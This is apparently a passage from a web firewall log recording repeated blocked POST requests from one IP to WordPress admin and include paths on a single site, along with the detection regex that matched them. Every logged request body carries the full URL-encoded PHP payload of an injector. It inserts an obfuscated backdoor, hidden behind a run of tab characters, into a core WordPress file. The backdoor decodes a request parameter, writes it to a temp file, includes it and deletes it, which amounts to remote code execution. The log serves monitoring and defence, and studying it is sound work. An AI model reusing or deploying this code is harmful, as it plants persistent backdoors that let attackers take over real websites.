20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:39:40","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4433\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nHn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:39:43","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4433\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nYg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:39:45","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-length:4456\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%2529%2529%257B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522ke%255Cx79%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524data%2520%2529%253B%2520%2524elem%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%2520%253D%2520count%2528%2524data%2529%253B%2520for%2520%2528%2524z%2520%253D%25200%253B%2520%2524z%2520%253C%2520%2524len%253B%2520%2524z%252B%252B%2529%2520%257B%2520%2524v7%2520%253D%2520%2524data%255B%2524z%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524z%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2520%2528%2524z%2520%2525%252010%2529%2529%255E%252094%253B%2520%2524elem.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524pointer%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pointer%2520as%2520%2524bind%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524bind%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524entry%2520%253D%2520sprintf%2528%2522%2525s\/.comp%2522%252C%2520%2524bind%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524entry%252C%2520%2524elem%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524entry%253B%2520unlink%2528%2524entry%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
